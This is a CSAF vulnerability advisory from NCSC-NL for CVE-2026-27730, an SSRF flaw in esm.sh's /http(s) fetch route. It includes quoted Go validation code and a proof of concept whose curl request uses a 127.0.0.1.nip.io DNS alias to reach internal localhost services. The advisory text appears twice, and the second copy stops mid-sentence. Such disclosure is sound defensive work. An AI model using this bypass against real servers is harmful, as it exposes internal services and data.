{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27730", "tracking": { "current_release_date": "2026-03-27T20:17:32.454739Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27730", "initial_release_date": "2026-02-25T16:30:05.615336Z", "revision_history": [ { "date": "2026-02-25T16:30:05.615336Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-02-25T16:30:08.008966Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-25T16:56:18.033612Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-02-25T16:56:19.725301Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-25T21:39:45.501838Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-02-25T23:39:37.908186Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)." }, { "date": "2026-02-25T23:39:40.553065Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-02-26T00:12:45.332982Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (5).| CWES updated (1)." }, { "date": "2026-02-26T00:31:48.352629Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (99).| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-02-26T14:13:39.842767Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-26T14:13:52.663427Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-02-27T18:25:42.232754Z", "number": "12", "summary": "CVSS created.| Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-02-27T18:25:44.792787Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-09T06:12:45.122824Z", "number": "14", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (5)." }, { "date": "2026-03-09T06:12:49.884734Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:39:59.382520Z", "number": "16", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:40:03.399902Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-03-27T19:49:12.596618Z", "number": "18", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| References created (7).| CWES updated (1)." }, { "date": "2026-03-27T19:49:19.423404Z", "number": "19", "summary": "NCSC Score updated." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=137", "product": { "name": "vers:unknown/<=137", "product_id": "CSAFPID-5736017", "product_identification_helper": { "cpe": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "esm.sh" } ], "category": "vendor", "name": "esm" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=137", "product": { "name": "vers:unknown/<=137", "product_id": "CSAFPID-5704841" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.0.0-20250616164159-0593516c4cfa", "product": { "name": "vers:unknown/>=0|<0.0.0-20250616164159-0593516c4cfa", "product_id": "CSAFPID-5707716" } }, { "category": "product_version_range", "name": "vers:unknown/v100", "product": { "name": "vers:unknown/v100", "product_id": "CSAFPID-5051501" } }, { "category": "product_version_range", "name": "vers:unknown/v101", "product": { "name": "vers:unknown/v101", "product_id": "CSAFPID-5051502" } }, { "category": "product_version_range", "name": "vers:unknown/v102", "product": { "name": "vers:unknown/v102", "product_id": "CSAFPID-5051503" } }, { "category": "product_version_range", "name": "vers:unknown/v103", "product": { "name": "vers:unknown/v103", "product_id": "CSAFPID-5051504" } }, { "category": "product_version_range", "name": "vers:unknown/v104", "product": { "name": "vers:unknown/v104", "product_id": "CSAFPID-5051505" } }, { "category": "product_version_range", "name": "vers:unknown/v105", "product": { "name": "vers:unknown/v105", "product_id": "CSAFPID-5051506" } }, { "category": "product_version_range", "name": "vers:unknown/v106", "product": { "name": "vers:unknown/v106", "product_id": "CSAFPID-5051507" } }, { "category": "product_version_range", "name": "vers:unknown/v107", "product": { "name": "vers:unknown/v107", "product_id": "CSAFPID-5051508" } }, { "category": "product_version_range", "name": "vers:unknown/v108", "product": { "name": "vers:unknown/v108", "product_id": "CSAFPID-5051509" } }, { "category": "product_version_range", "name": "vers:unknown/v109", "product": { "name": "vers:unknown/v109", "product_id": "CSAFPID-5051510" } }, { "category": "product_version_range", "name": "vers:unknown/v110", "product": { "name": "vers:unknown/v110", "product_id": "CSAFPID-5051511" } }, { "category": "product_version_range", "name": "vers:unknown/v111", "product": { "name": "vers:unknown/v111", "product_id": "CSAFPID-5051512" } }, { "category": "product_version_range", "name": "vers:unknown/v112", "product": { "name": "vers:unknown/v112", "product_id": "CSAFPID-5051513" } }, { "category": "product_version_range", "name": "vers:unknown/v113", "product": { "name": "vers:unknown/v113", "product_id": "CSAFPID-5051514" } }, { "category": "product_version_range", "name": "vers:unknown/v114", "product": { "name": "vers:unknown/v114", "product_id": "CSAFPID-5051515" } }, { "category": "product_version_range", "name": "vers:unknown/v115", "product": { "name": "vers:unknown/v115", "product_id": "CSAFPID-5051516" } }, { "category": "product_version_range", "name": "vers:unknown/v116", "product": { "name": "vers:unknown/v116", "product_id": "CSAFPID-5051517" } }, { "category": "product_version_range", "name": "vers:unknown/v117", "product": { "name": "vers:unknown/v117", "product_id": "CSAFPID-5051518" } }, { "category": "product_version_range", "name": "vers:unknown/v119", "product": { "name": "vers:unknown/v119", "product_id": "CSAFPID-5051519" } }, { "category": "product_version_range", "name": "vers:unknown/v120", "product": { "name": "vers:unknown/v120", "product_id": "CSAFPID-5051520" } }, { "category": "product_version_range", "name": "vers:unknown/v121", "product": { "name": "vers:unknown/v121", "product_id": "CSAFPID-5051521" } }, { "category": "product_version_range", "name": "vers:unknown/v122", "product": { "name": "vers:unknown/v122", "product_id": "CSAFPID-5051522" } }, { "category": "product_version_range", "name": "vers:unknown/v123", "product": { "name": "vers:unknown/v123", "product_id": "CSAFPID-5051523" } }, { "category": "product_version_range", "name": "vers:unknown/v124", "product": { "name": "vers:unknown/v124", "product_id": "CSAFPID-5051524" } }, { "category": "product_version_range", "name": "vers:unknown/v125", "product": { "name": "vers:unknown/v125", "product_id": "CSAFPID-5051525" } }, { "category": "product_version_range", "name": "vers:unknown/v126", "product": { "name": "vers:unknown/v126", "product_id": "CSAFPID-5051526" } }, { "category": "product_version_range", "name": "vers:unknown/v127", "product": { "name": "vers:unknown/v127", "product_id": "CSAFPID-5051527" } }, { "category": "product_version_range", "name": "vers:unknown/v128", "product": { "name": "vers:unknown/v128", "product_id": "CSAFPID-5051528" } }, { "category": "product_version_range", "name": "vers:unknown/v129", "product": { "name": "vers:unknown/v129", "product_id": "CSAFPID-5051529" } }, { "category": "product_version_range", "name": "vers:unknown/v130", "product": { "name": "vers:unknown/v130", "product_id": "CSAFPID-5051530" } }, { "category": "product_version_range", "name": "vers:unknown/v131", "product": { "name": "vers:unknown/v131", "product_id": "CSAFPID-5051531" } }, { "category": "product_version_range", "name": "vers:unknown/v132", "product": { "name": "vers:unknown/v132", "product_id": "CSAFPID-5051532" } }, { "category": "product_version_range", "name": "vers:unknown/v133", "product": { "name": "vers:unknown/v133", "product_id": "CSAFPID-5051533" } }, { "category": "product_version_range", "name": "vers:unknown/v134", "product": { "name": "vers:unknown/v134", "product_id": "CSAFPID-5051534" } }, { "category": "product_version_range", "name": "vers:unknown/v135", "product": { "name": "vers:unknown/v135", "product_id": "CSAFPID-5051535" } }, { "category": "product_version_range", "name": "vers:unknown/v135_1", "product": { "name": "vers:unknown/v135_1", "product_id": "CSAFPID-5051536" } }, { "category": "product_version_range", "name": "vers:unknown/v136", "product": { "name": "vers:unknown/v136", "product_id": "CSAFPID-5051537" } }, { "category": "product_version_range", "name": "vers:unknown/v136_1", "product": { "name": "vers:unknown/v136_1", "product_id": "CSAFPID-5449463" } }, { "category": "product_version_range", "name": "vers:unknown/v137", "product": { "name": "vers:unknown/v137", "product_id": "CSAFPID-5721710" } }, { "category": "product_version_range", "name": "vers:unknown/v34", "product": { "name": "vers:unknown/v34", "product_id": "CSAFPID-5051538" } }, { "category": "product_version_range", "name": "vers:unknown/v35", "product": { "name": "vers:unknown/v35", "product_id": "CSAFPID-5051539" } }, { "category": "product_version_range", "name": "vers:unknown/v37", "product": { "name": "vers:unknown/v37", "product_id": "CSAFPID-5051540" } }, { "category": "product_version_range", "name": "vers:unknown/v38", "product": { "name": "vers:unknown/v38", "product_id": "CSAFPID-5051541" } }, { "category": "product_version_range", "name": "vers:unknown/v39", "product": { "name": "vers:unknown/v39", "product_id": "CSAFPID-5051542" } }, { "category": "product_version_range", "name": "vers:unknown/v40", "product": { "name": "vers:unknown/v40", "product_id": "CSAFPID-5051543" } }, { "category": "product_version_range", "name": "vers:unknown/v41", "product": { "name": "vers:unknown/v41", "product_id": "CSAFPID-5051544" } }, { "category": "product_version_range", "name": "vers:unknown/v43", "product": { "name": "vers:unknown/v43", "product_id": "CSAFPID-5051545" } }, { "category": "product_version_range", "name": "vers:unknown/v44", "product": { "name": "vers:unknown/v44", "product_id": "CSAFPID-5051546" } }, { "category": "product_version_range", "name": "vers:unknown/v45", "product": { "name": "vers:unknown/v45", "product_id": "CSAFPID-5051547" } }, { "category": "product_version_range", "name": "vers:unknown/v46", "product": { "name": "vers:unknown/v46", "product_id": "CSAFPID-5051548" } }, { "category": "product_version_range", "name": "vers:unknown/v47", "product": { "name": "vers:unknown/v47", "product_id": "CSAFPID-5051549" } }, { "category": "product_version_range", "name": "vers:unknown/v49", "product": { "name": "vers:unknown/v49", "product_id": "CSAFPID-5051550" } }, { "category": "product_version_range", "name": "vers:unknown/v50", "product": { "name": "vers:unknown/v50", "product_id": "CSAFPID-5051551" } }, { "category": "product_version_range", "name": "vers:unknown/v51", "product": { "name": "vers:unknown/v51", "product_id": "CSAFPID-5051552" } }, { "category": "product_version_range", "name": "vers:unknown/v52", "product": { "name": "vers:unknown/v52", "product_id": "CSAFPID-5051553" } }, { "category": "product_version_range", "name": "vers:unknown/v53", "product": { "name": "vers:unknown/v53", "product_id": "CSAFPID-5051554" } }, { "category": "product_version_range", "name": "vers:unknown/v55", "product": { "name": "vers:unknown/v55", "product_id": "CSAFPID-5051555" } }, { "category": "product_version_range", "name": "vers:unknown/v56", "product": { "name": "vers:unknown/v56", "product_id": "CSAFPID-5051556" } }, { "category": "product_version_range", "name": "vers:unknown/v57", "product": { "name": "vers:unknown/v57", "product_id": "CSAFPID-5051557" } }, { "category": "product_version_range", "name": "vers:unknown/v59", "product": { "name": "vers:unknown/v59", "product_id": "CSAFPID-5051558" } }, { "category": "product_version_range", "name": "vers:unknown/v60", "product": { "name": "vers:unknown/v60", "product_id": "CSAFPID-5051559" } }, { "category": "product_version_range", "name": "vers:unknown/v61", "product": { "name": "vers:unknown/v61", "product_id": "CSAFPID-5051560" } }, { "category": "product_version_range", "name": "vers:unknown/v62", "product": { "name": "vers:unknown/v62", "product_id": "CSAFPID-5051561" } }, { "category": "product_version_range", "name": "vers:unknown/v63", "product": { "name": "vers:unknown/v63", "product_id": "CSAFPID-5051562" } }, { "category": "product_version_range", "name": "vers:unknown/v64", "product": { "name": "vers:unknown/v64", "product_id": "CSAFPID-5051563" } }, { "category": "product_version_range", "name": "vers:unknown/v65", "product": { "name": "vers:unknown/v65", "product_id": "CSAFPID-5051564" } }, { "category": "product_version_range", "name": "vers:unknown/v66", "product": { "name": "vers:unknown/v66", "product_id": "CSAFPID-5051565" } }, { "category": "product_version_range", "name": "vers:unknown/v67", "product": { "name": "vers:unknown/v67", "product_id": "CSAFPID-5051566" } }, { "category": "product_version_range", "name": "vers:unknown/v68", "product": { "name": "vers:unknown/v68", "product_id": "CSAFPID-5051567" } }, { "category": "product_version_range", "name": "vers:unknown/v69", "product": { "name": "vers:unknown/v69", "product_id": "CSAFPID-5051568" } }, { "category": "product_version_range", "name": "vers:unknown/v70", "product": { "name": "vers:unknown/v70", "product_id": "CSAFPID-5051569" } }, { "category": "product_version_range", "name": "vers:unknown/v71", "product": { "name": "vers:unknown/v71", "product_id": "CSAFPID-5051570" } }, { "category": "product_version_range", "name": "vers:unknown/v72", "product": { "name": "vers:unknown/v72", "product_id": "CSAFPID-5051571" } }, { "category": "product_version_range", "name": "vers:unknown/v73", "product": { "name": "vers:unknown/v73", "product_id": "CSAFPID-5051572" } }, { "category": "product_version_range", "name": "vers:unknown/v74", "product": { "name": "vers:unknown/v74", "product_id": "CSAFPID-5051573" } }, { "category": "product_version_range", "name": "vers:unknown/v75", "product": { "name": "vers:unknown/v75", "product_id": "CSAFPID-5051574" } }, { "category": "product_version_range", "name": "vers:unknown/v76", "product": { "name": "vers:unknown/v76", "product_id": "CSAFPID-5051575" } }, { "category": "product_version_range", "name": "vers:unknown/v77", "product": { "name": "vers:unknown/v77", "product_id": "CSAFPID-5051576" } }, { "category": "product_version_range", "name": "vers:unknown/v78", "product": { "name": "vers:unknown/v78", "product_id": "CSAFPID-5051577" } }, { "category": "product_version_range", "name": "vers:unknown/v79", "product": { "name": "vers:unknown/v79", "product_id": "CSAFPID-5051578" } }, { "category": "product_version_range", "name": "vers:unknown/v80", "product": { "name": "vers:unknown/v80", "product_id": "CSAFPID-5051579" } }, { "category": "product_version_range", "name": "vers:unknown/v81", "product": { "name": "vers:unknown/v81", "product_id": "CSAFPID-5051580" } }, { "category": "product_version_range", "name": "vers:unknown/v82", "product": { "name": "vers:unknown/v82", "product_id": "CSAFPID-5051581" } }, { "category": "product_version_range", "name": "vers:unknown/v83", "product": { "name": "vers:unknown/v83", "product_id": "CSAFPID-5051582" } }, { "category": "product_version_range", "name": "vers:unknown/v84", "product": { "name": "vers:unknown/v84", "product_id": "CSAFPID-5051583" } }, { "category": "product_version_range", "name": "vers:unknown/v85", "product": { "name": "vers:unknown/v85", "product_id": "CSAFPID-5051584" } }, { "category": "product_version_range", "name": "vers:unknown/v86", "product": { "name": "vers:unknown/v86", "product_id": "CSAFPID-5051585" } }, { "category": "product_version_range", "name": "vers:unknown/v87", "product": { "name": "vers:unknown/v87", "product_id": "CSAFPID-5051586" } }, { "category": "product_version_range", "name": "vers:unknown/v88", "product": { "name": "vers:unknown/v88", "product_id": "CSAFPID-5051587" } }, { "category": "product_version_range", "name": "vers:unknown/v89", "product": { "name": "vers:unknown/v89", "product_id": "CSAFPID-5051588" } }, { "category": "product_version_range", "name": "vers:unknown/v90", "product": { "name": "vers:unknown/v90", "product_id": "CSAFPID-5051589" } }, { "category": "product_version_range", "name": "vers:unknown/v91", "product": { "name": "vers:unknown/v91", "product_id": "CSAFPID-5051590" } }, { "category": "product_version_range", "name": "vers:unknown/v92", "product": { "name": "vers:unknown/v92", "product_id": "CSAFPID-5051591" } }, { "category": "product_version_range", "name": "vers:unknown/v93", "product": { "name": "vers:unknown/v93", "product_id": "CSAFPID-5051592" } }, { "category": "product_version_range", "name": "vers:unknown/v94", "product": { "name": "vers:unknown/v94", "product_id": "CSAFPID-5051593" } }, { "category": "product_version_range", "name": "vers:unknown/v95", "product": { "name": "vers:unknown/v95", "product_id": "CSAFPID-5051594" } }, { "category": "product_version_range", "name": "vers:unknown/v96", "product": { "name": "vers:unknown/v96", "product_id": "CSAFPID-5051595" } }, { "category": "product_version_range", "name": "vers:unknown/v97", "product": { "name": "vers:unknown/v97", "product_id": "CSAFPID-5051596" } }, { "category": "product_version_range", "name": "vers:unknown/v98", "product": { "name": "vers:unknown/v98", "product_id": "CSAFPID-5051597" } }, { "category": "product_version_range", "name": "vers:unknown/v99", "product": { "name": "vers:unknown/v99", "product_id": "CSAFPID-5051598" } } ], "category": "product_name", "name": "esm.sh" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.0-20250616164159-0593516c4cfa", "product": { "name": "vers:unknown/0.0.0-20250616164159-0593516c4cfa", "product_id": "CSAFPID-5944635" } }, { "category": "product_version_range", "name": "vers:unknown/<0.0.0-20250616164159-0593516c4cfa", "product": { "name": "vers:unknown/<0.0.0-20250616164159-0593516c4cfa", "product_id": "CSAFPID-5944636" } } ], "category": "product_name", "name": "go/github.com/esm-dev/esm.sh" } ], "category": "vendor", "name": "esm-dev" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27730", "cwe": { "id": "CWE-918", "name": "Server-Side Request Forgery (SSRF)" }, "notes": [ { "category": "description", "text": "esm.sh is a no-build content delivery network (CDN) for web development. Versions up to and including 137 have an SSRF vulnerability (CWE-918) in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains. This allows an external requester to make the esm.sh server fetch internal localhost services. As of time of publication, no known patched versions exist.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27730" }, { "category": "description", "text": "esm.sh is a no-build content delivery network (CDN) for web development. Versions up to and including 137 have an SSRF vulnerability (CWE-918) in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains. This allows an external requester to make the esm.sh server fetch internal localhost services. As of time of publication, no known patched versions exist.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27730" }, { "category": "description", "text": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route. \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). \nThis allows an external requester to make the esm.sh server fetch internal localhost services. \nSeverity: High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" && modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get('/secret.js')\ndef secret_js():\n return Response('secret;\\n', mimetype='application/javascript')\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n -v \"/flask-internal:/app\" -w /app \\\n python:3.11-alpine sh -lc \"pip install --no-cache-dir flask && python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\"image\"\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\"image\"\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**", "title": "github - https://github.com/advisories/GHSA-p2v6-84h2-5x4r" }, { "category": "description", "text": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route. \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). \nThis allows an external requester to make the esm.sh server fetch internal localhost services. \nSeverity: High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" && modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get('/secret.js')\ndef secret_js():\n return Response('secret;\\n', mimetype='application/javascript')\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n -v \"/flask-internal:/app\" -w /app \\\n python:3.11-alpine sh -lc \"pip install --no-cache-dir flask && python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\"image\"\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\"image\"\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal 